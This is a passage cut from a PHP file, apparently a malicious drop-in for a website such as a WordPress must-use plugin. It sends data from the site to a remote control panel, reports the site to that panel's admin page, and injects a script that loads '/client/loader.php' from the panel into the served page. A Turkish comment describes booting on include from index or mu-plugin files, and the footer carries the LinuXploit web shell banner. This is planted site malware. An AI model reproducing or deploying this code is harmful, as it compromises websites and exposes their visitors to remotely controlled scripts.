        .then(function(j){
          if(j && j.ok){ mark(true, ' . json_encode($panel) . '+"/admin/sites.php"); }
          else if(!ok){ mark(false, (j&&j.error)||"api"); }
        }).catch(function(){});
    } catch(e) {}
  }
  send();
})();
</script>';
    echo '<script src="' . htmlspecialchars($panel . '/client/loader.php', ENT_QUOTES, 'UTF-8') . '"></script>';
    echo '</body></html>';
    exit;
}

// Include edildiğinde (index / mu-plugin / alt dizin boot)
te_dropin_boot();

Youez - 2016 - github.com/yon3zu
LinuXploit